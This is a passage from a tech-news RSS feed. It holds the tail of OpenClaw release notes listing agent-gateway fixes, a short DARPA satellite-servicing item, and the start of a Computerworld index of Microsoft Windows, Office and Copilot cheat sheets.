<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[DARPA Will Launch Its First Upgrade-and-Repair Satellite in 2026]]></title>
<description><![CDATA[This year, DARPA should finally realize its long-time ambition to service and even cannibalize satellites in geosynchronous orbit.]]></description>
<link>https://tsecurity.de/de/3549182/it-nachrichten/darpa-will-launch-its-first-upgrade-and-repair-satellite-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549182/it-nachrichten/darpa-will-launch-its-first-upgrade-and-repair-satellite-in-2026/</guid>
<pubDate>Tue, 26 May 2026 22:32:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This year, DARPA should finally realize its long-time ambition to service and even cannibalize satellites in geosynchronous orbit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft cheat sheets: Dive into Windows, Office, and Copilot]]></title>
<description><![CDATA[Need to get up to speed on the latest features in Excel? Wrestling with an old version of Word? Looking to get more out of Windows 11? Computerworld’s cheat sheets are easy-to-use guides to help you navigate Microsoft’s core productivity software.



Here’s a one-stop resource where you can find ...]]></description>
<link>https://tsecurity.de/de/3548480/it-nachrichten/microsoft-cheat-sheets-dive-into-windows-office-and-copilot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3548480/it-nachrichten/microsoft-cheat-sheets-dive-into-windows-office-and-copilot/</guid>
<pubDate>Tue, 26 May 2026 17:18:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Need to get up to speed on the latest features in Excel? Wrestling with an old version of Word? Looking to get more out of Windows 11? <em>Computerworld</em>’s cheat sheets are easy-to-use guides to help you navigate Microsoft’s core productivity software.</p>



<p>Here’s a one-stop resource where you can find in-depth stories on several generations of Word, Excel, PowerPoint, and Outlook for Windows, focusing on what’s new in each major release. We’ve also got guides for Windows itself, as well as Microsoft Teams, OneDrive (both in Windows and on the web), OneNote, Loop, Whiteboard, Forms, Visio, Planner, and Power Automate. </p>



<p>Microsoft’s subscription-based office suite, called <a href="https://www.computerworld.com/article/1691110/microsoft-365-explained.html">Microsoft 365</a>, is continually updated with new features, so we periodically refresh the cheat sheets for the “365” versions of Word, Excel, PowerPoint, Outlook, and other apps in the suite. But some companies and individuals will likely stay on older versions of the non-subscription software (Office 2021, for example) for some time to come, so we’ve got cheat sheets for several generations of those products as well.</p>



<p>The biggest change in both Microsoft 365 and Windows in recent years is the widespread integration of Microsoft’s generative AI assistant, Copilot. We’ve got tips to help you get the most out of that tool too, with more on the way.</p>



<h2 class="wp-block-heading">Windows, Office, and Copilot tutorials and tips</h2>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#copilot">Microsoft Copilot</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#win10-11">Windows 10 and 11</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#m365">Microsoft 365 apps</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#office2021">Office 2021 and 2024</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html#office2016">Office 2016 and 2019</a></li>



